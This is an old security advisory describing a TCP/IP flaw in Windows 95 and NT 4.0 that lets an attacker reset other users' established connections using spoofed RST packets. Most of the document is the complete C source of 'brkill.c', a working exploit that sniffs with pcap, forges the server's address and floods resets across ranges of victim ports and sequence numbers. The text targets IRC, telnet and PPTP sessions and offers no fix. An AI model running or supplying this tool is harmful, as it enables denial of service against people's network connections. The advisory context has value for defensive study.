COMMAND

    TCP/IP

SYSTEMS AFFECTED

    Win 95, NT

PROBLEM

    Basement  Research  posted  following  info  about  a flaw in MS's
    TCP/IP implementation.   The flaw,  which is  present in  at least
    Windows 95  and Windows  NT 4.0,  allows an  attacker to  reset an
    existing connection on Windows  machines, as long as  the attacker
    knows  the  IP  address  and  TCP  port  of  the  other end of the
    connection (and  can successfully  guess the  target machine's TCP
    port for  the connection  - often  not too  far above  1024).  The
    problem arises when a packet  is sent to a Microsoft  machine that
    generates a reset.  Example code  uses a PSH ACK to generate  this
    reset.   The  resulting  reset's  ACK  field  contains  the   last
    acknowledged sequence number across all of the target's  currently
    established TCP connections.   Armed with this  knowledge, we  can
    then send the target machine  a RST with the retrieved  ACK number
    as the sequence number (and 0  in the ACK field), resulting in  an
    abortive release  of the  connection.   As an  added bonus,  since
    Microsoft OS's respond with resets  on ALL ports, we can  retrieve
    the last ack'd sequence number from any arbitrary closed port.

    Of course, this has some limitations - you must know the TCP  port
    number and IP address of  both ends of targeted connection.   This
    is not as hard as  it may seem at first  glance - if you know  the
    type of TCP connection, you probably know the server port.  As  to
    the target's TCP  port, its probably  not too far  above 1024.   A
    significant obstacle to resetting a connection is the need to  get
    the reset to the target before  it sends another ack.  To  address
    this problem, the brkill.c code includes the -n switch, which will
    cause brkill  to send  the range  of sequence  numbers from ack to
    (ack + n) to the target host.   Lastly, if the target has a  large
    number of  established TCP  connections, resetting  the connection
    can be difficult since there will be several sets of ACK  numbers,
    and it  won't be  obvious which  one belongs  to the connection we
    want to kill.

    The source  has been  tested on  FreeBSD, OpenBSD  and Linux,  and
    requires the pcap library.  You can get it from:

	http://deep.ee.siue.edu/br/

    or go below.

    Consider  the  following  types  of  connections  to  be  the most
    vulnerable to this attack:

	Login connections: telnet, rlogin, xterm, etc. These generally
	involve  low  data  rates  and  have a well-known server port,
	making them easy targets.

	MS PPTP connections.  Data rates are  not always low,  but the
	connections last long, and can generally be reset with ease.

	Certain   connections,   even   when   they   originate   from
	non-Microsoft machines, may be   vulnerable to this attack  if
	the logical connection is being  relayed b y MS Proxy  Server.
	This assumes that MS proxy is vulnerable, which it may or  may
	not be.  This was not tested.

	Public chat  connections such  as IRC  have been  found to  be
	susceptible to this attack.

    Exploit follows:

    /* brkill.c
     * by the basement research, llp
     * Sat Sep  5 04:01:11 CDT 1998
     * For the details of how this works, you can visit http://deep.ee.siue.edu/br.
     * To compile:
     * cc -O2 -o brkill brkill.c -lpcap
     */

    #define SWAP(a,b) { a^=b; b^=a; a^=b; }
    #define _BSD_SOURCE     1
    #ifdef __FreeBSD__
    #define BSDFIX(a) (a)
    #else
    #define BSDFIX(a) htons(a)
    #endif
    
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <string.h>
    #include <errno.h>
    #include <netdb.h>
    #include <sys/utsname.h>
    #include <sys/time.h>
    #include <sys/socket.h>
    #include <net/if.h>
    #include <netinet/in.h>
    #include <netinet/in_systm.h>
    #include <netinet/ip.h>
    #include <netinet/tcp.h>
    #include "pcap.h"

    #define TIMEOUT_VALUE   500
    #define VICTIM_START_PORT       1023

    struct evilpkt
      {
	struct ip iphdr;
	struct tcphdr tcphead;
      }
    pkt;

    struct fakehdr
      {
	u_long saddr;
	u_long daddr;
	u_char zero;
	u_char proto;
	u_short len;
	struct tcphdr faketcp;
      }     
    pseudo;

    static pcap_t *pfd;
    u_long victim;
    u_short port;
    char *device = NULL;
    u_short link_offset = 14;
    static char *filter_str;
    struct pcap_pkthdr hdr;

    u_short
    tcp_cksum (u_short * tcphdr, int len)
    {
      register long sum = 0;
      u_short *w = tcphdr;
      static u_short answer = 0;

      while (len > 1)
	{
	  sum += *w++;
	  len -= 2;
	}
      if (len == 1)
	{
	  *(u_char *) (&answer) = *(u_char *) w;
	  sum += answer;
	}
      sum = (sum >> 16) + (sum & 0xffff);
      sum += (sum >> 16);
      return (~sum);
    }

    void
    start_pcap ()
    {
      char cmd[200];
      int psize ;
      struct bpf_program fcode;
      u_int localnet, netmask;
      char errbuf[PCAP_ERRBUF_SIZE];
      char dialup[] = "ppp0";
      psize = 300;


      if (device == NULL)
	{
	  if ((device = pcap_lookupdev (errbuf)) == NULL)
	    {
	      printf ("pcap_lookupdev : %s\n", errbuf);
	      exit (-1);
	    }
	}
      printf ("Selected network device: %s\n", device);
      if (!strcmp (device, dialup))
	{
	  link_offset = 0;
	}
      if ((pfd = pcap_open_live (device, psize, IFF_PROMISC, TIMEOUT_VALUE, errbuf))
	  == NULL)
	{
	  printf ("pcap_open_live : %s\n", errbuf);
	  exit (-1);
	}
      if (pcap_lookupnet (device, &localnet, &netmask, errbuf) < 0)
	{
	  printf ("pcap_lookupnet : %s\n", errbuf);
	  exit (-1);
	}
      snprintf (cmd, sizeof (cmd), filter_str);
      printf ("Setting filter : %s\n", filter_str);
      if (pcap_compile (pfd, &fcode, cmd, IFF_PROMISC, netmask) < 0)
	{
	  printf ("pcap_compile : %s\n", pcap_geterr (pfd));
	  exit (-1);
	}
      if (pcap_setfilter (pfd, &fcode) < 0)
	{
	  printf ("pcap_setfilter : %s\n", pcap_geterr (pfd));
	  exit (-1);
	}
      if (pcap_datalink (pfd) < 0)
	{
	  printf ("pcap_datalink : %s\n", pcap_geterr (pfd));
	  exit (-1);
	}
    }

    u_long
    extract_ack (char *pkt)
    {
      u_long extracted;
      u_long last_ack = 0;

      bcopy ((u_long *) (pkt + 28), &extracted, sizeof (u_long));
      last_ack = ntohl (extracted);
      if (last_ack == 0)
	{
	  puts ("This machine returns a last ACK of 0.  Cannot reset.");
	  exit (-1);
	}
      printf ("Last ACK # sent by the victim is %lu (%#lx).\n", last_ack, last_ack);
      return (last_ack);
    }

    u_long
    grab_pcap ()
    {
      char *pptr = NULL;
      u_long last_ack;

      while ((pptr = (char *) pcap_next (pfd, &hdr)) == NULL);
      pptr = pptr + link_offset;
      last_ack = extract_ack (pptr);
      return (last_ack);
    }

    void
    init_pkt (u_long dest, u_long src, u_short port)
    {
      size_t pktlen;

      pktlen = sizeof (struct ip) + sizeof (struct tcphdr);
      bzero (&pkt, 40);
      bzero (&pseudo, 32);
      pkt.iphdr.ip_hl = 0x5;
      pkt.iphdr.ip_v = IPVERSION;
      pkt.iphdr.ip_tos = 0x0;
      pkt.iphdr.ip_len = pktlen;
      pkt.iphdr.ip_id = htons (0x29a + (u_short) rand () % 7000);
      pkt.iphdr.ip_off = BSDFIX (IP_DF);
      pkt.iphdr.ip_ttl = 255;
      pkt.iphdr.ip_p = IPPROTO_TCP;
      pkt.iphdr.ip_src.s_addr = src;
      pkt.iphdr.ip_dst.s_addr = dest;
      pkt.iphdr.ip_sum = htons (tcp_cksum ((u_short *) & pkt.iphdr, 20));
      pkt.tcphead.th_sport = htons (rand () % 5000 + 1024);
      pkt.tcphead.th_dport = htons (port);
      pkt.tcphead.th_seq = 0;
      pkt.tcphead.th_ack = 0;
      pkt.tcphead.th_x2 = 0;
      pkt.tcphead.th_off = 0x5;
      pkt.tcphead.th_flags = TH_ACK + TH_PUSH;      /* Use user-supplied argument */
      pkt.tcphead.th_win = htons (0x800);
      pkt.tcphead.th_urp = 0;
      /* Now init the pseudoheader we need to calculate the TCP checksum */
      pseudo.saddr = src;
      pseudo.daddr = dest;
      pseudo.zero = 0;
      pseudo.proto = IPPROTO_TCP;
      pseudo.len = htons (0x14);    /* Refers to ONLY the TCP header plus any options */
      bcopy (&pkt.tcphead, &pseudo.faketcp, 20);
      pkt.tcphead.th_sum = tcp_cksum ((u_short *) & pseudo, 32);
    }

    int
    open_sock ()
    /* Open up a socket and return the resulting file descriptor. */
    {
      int sockfd;
      const int bs = 1;

      if ((sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
	{
	  perror ("open_sock():socket()");
	  exit (-1);
	}
      if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, (char *) &bs, sizeof (bs)) < 0)
	{
	  perror ("open_sock():setsockopt()");
	  close (sockfd);
	  exit (-1);
	}
      return (sockfd);
    }

    struct sockaddr_in *
    set_sockaddr (u_long daddr, u_short port)
    /* Set up target socket address and return pointer to sockaddr_in structure. */
    {
      struct sockaddr_in *dest_sockaddr;
      dest_sockaddr = (struct sockaddr_in *) malloc (sizeof (struct sockaddr_in));
  
      bzero (dest_sockaddr, sizeof (struct sockaddr_in));
      dest_sockaddr->sin_family = AF_INET;
      dest_sockaddr->sin_port = htons (port);
      dest_sockaddr->sin_addr.s_addr = daddr;
      return (dest_sockaddr);
    }

    u_long
    host_to_ip (char *host_name)
    {
      struct hostent *target;
      u_long *resolved_ip;
      resolved_ip = (u_long *) malloc (sizeof (u_long));

      if ((target = gethostbyname (host_name)) == NULL)
	{
	  fprintf (stderr, "host_to_ip: %d\n", h_errno);
	  exit (-1);
	}
      else
	{
	  bcopy (target->h_addr, resolved_ip, sizeof (struct in_addr));
	  return ((u_long) * resolved_ip);
	}
    }

    char *
    set_filter (char *destip, char *srcip, char *dport)
    {
      static char *filt;

      filt = (char *) malloc (strlen (destip) + strlen (srcip) + strlen (dport) + 39);
      filt[0] = '\0';
      strcat (filt, "src host ");
      strcat (filt, destip);
      strcat (filt, " and dst host ");
      strcat (filt, srcip);
      strcat (filt, " and src port ");
      strcat (filt, dport);
      return (filt);
    }

    u_long
    get_ack (u_long victim, u_long saddr, u_short port, int fd, struct sockaddr_in * sock, int delay)
    {
      size_t psize;
      u_long last_ack;

      psize = sizeof (struct evilpkt);
      init_pkt (victim, saddr, port);
      sleep (delay);
      if (sendto (fd, (const void *) &pkt, psize, 0, (const struct sockaddr *) sock, sizeof (struct sockaddr)) < 0)
	{
	  perror ("sendto()");
	  close (fd);
	  exit (-1);
	}
      last_ack = grab_pcap ();
      return (last_ack);
    }

    void
    usage ()
    {
      puts ("brkill - by basement research, 9/30/98\n");
      puts ("Usage: brkill [-d device] [-s source IP addr]");
      puts ("\t [-t time to pause between get_acks (default=1 sec)]");
      puts ("\t [-l server low port or single port if not using range (default=6660)]");
      puts ("\t [-h server high port or single port if not using range (default=6670)]");
      puts ("\t [-v # of victim ports to target (starting at 1023, default=50)]");
      puts ("\t [-n # of times to increment seq # by 1 for each port combo (default=0)]");
      puts ("\t <victim addr> <victim's server> <dest port for ack retrieval>");
      exit (0);
    }

    int
    main (int argc, char **argv)
    {
      int fd, i, sp, opt, delay = 1, vichighport, vicports = 50, highseq = 0;
      u_short ircport, slowport = 0, shighport = 0;
      char *source = NULL;
      struct sockaddr_in *sock;
      u_long saddr, server;
      size_t psize;
      register u_long last_ack;
      struct hostent *hptr;
      struct utsname localname;

      if ((argc > 18) || (argc < 4))
	{
	  usage ();
	}

      while ((opt = getopt (argc, argv, "d:s:t:l:h:v:n:")) != -1)
	{
	  switch (opt)
	    {
	    case 'd':
	      device = optarg;
	      break;
	    case 's':
	      source = optarg;
	      saddr = host_to_ip (source);
	      break;
	    case 'p':
	      delay = atoi (optarg);
	      break;
	    case 'l':
	      slowport = atoi (optarg);
	      break;
	    case 'h':
	      shighport = atoi (optarg);
	      break;
	    case 'v':
	      vicports = atoi (optarg);
	      break;
	    case 'n':
	      highseq = atoi (optarg);
	      break;
	    case '?':
	      puts ("Unknown option.");
	      exit (-1);
	    }
	}

    /* Try to determine source IP address if its not provided */
      if (source == NULL)
	{
	  if (uname (&localname) < 0)
	    {
	      perror ("uname(): ");
	      exit (-1);
	    }
	  if ((hptr = gethostbyname (localname.nodename)) == NULL)
	    {
	      perror ("gethostbyname(): ");
	      exit (-1);
	    }
	  source = hptr->h_name;
	  bcopy (hptr->h_addr, &saddr, sizeof (struct in_addr));
	  printf ("Using a source address of %s\n", inet_ntoa (saddr));
	}

    /* These next two if conditionals deal with the situation where only -l or
     * -h are specified.  In these cases, we will only target the specified port.
     */    
      if ((slowport > 0) && (shighport == 0))
       {
	  shighport = slowport;
	}
      if ((shighport > 0) && (slowport == 0))
	{
	  slowport = shighport;
	}

    /* If the low server port is bigger than the high server port, then the user
     * doesn't know what they are doing.  In this case, we'll swap the values.
     */
      if (slowport > shighport)
	{
	  SWAP (slowport, shighport);
	  puts ("Warning: low port is greater than high port - swapping the two...");
	}

    /* Defaults if neither -l nor -h are specified (common IRC server ports). */
      if ((slowport == 0) && (shighport == 0))
	{
	  slowport = 6660;
	  shighport = 6670;
	}
    /* End of the options processing code */

      vichighport = VICTIM_START_PORT + vicports;
      ircport = shighport;
      filter_str = set_filter (argv[optind], source, argv[optind + 2]);
      victim = host_to_ip (argv[optind]);
      server = host_to_ip (argv[optind + 1]);
      port = (u_short) atoi (argv[optind + 2]);
      sock = set_sockaddr (victim, port);
      fd = open_sock ();
      psize = sizeof (struct evilpkt);
      start_pcap ();
      while (1)
	{
	  last_ack = get_ack (victim, saddr, port, fd, sock, delay);
	  pkt.iphdr.ip_src.s_addr = server;
	  pkt.iphdr.ip_dst.s_addr = victim;
	  pkt.iphdr.ip_id = htons (rand () % 7000);
	  pkt.iphdr.ip_off = 0;
	  pkt.tcphead.th_flags = TH_RST;
	  pkt.tcphead.th_win = 0;
	  pkt.tcphead.th_ack = 0;
	  pseudo.saddr = server;
	  pseudo.daddr = victim;
	  if (ircport >= slowport)
	    {
	      pkt.tcphead.th_sport = htons (ircport);
	    }
	  else
	    {
	      ircport = shighport;
	      pkt.tcphead.th_sport = htons (ircport);
	    }
	  printf ("Setting the source port to %d.\n", ircport);
	  ircport--;
	  for (i = 0; i <= highseq; i++)
	    {
	      pkt.tcphead.th_seq = htonl (last_ack + i);
	      bcopy (&pkt.tcphead, &pseudo.faketcp, 20);
	      for (sp = VICTIM_START_PORT; sp < vichighport; sp++)
		{
    /* FreeBSD has problems and runs out of buffer space in sendto() unless
       we insert a delay here.  Unfoprtunately, this makes the code less
       effective. */
    #ifdef __FreeBSD__
		  if (!(sp % 20))
		    {
		      usleep (20000);
		    }
    #endif
		  pkt.tcphead.th_dport = htons (sp);
		  bcopy (&pkt.tcphead.th_dport, &pseudo.faketcp.th_dport, 2);
		  pkt.iphdr.ip_id = htons (0x29a + (u_short) rand () % 7000);
		  pkt.iphdr.ip_sum = 0;
		  pkt.iphdr.ip_sum = htons (tcp_cksum ((u_short *) & pkt.iphdr, 20));
		  pseudo.faketcp.th_sum = 0;
		  pkt.tcphead.th_sum = tcp_cksum ((u_short *) & pseudo, 32);
		  if (sendto (fd, (const void *) &pkt, psize, 0, (const struct sockaddr *) sock, sizeof (struct sockaddr)) < 0)
		    {
		      perror ("sendto(): ");
		      close (fd);
		      exit (-1);
		    }
		}
	    }
	}
      if (close (fd) == -1)
	{
	  perror ("close()");
	  exit (-1);
	}
      return (0);
    }

SOLUTION

    Nothing yet.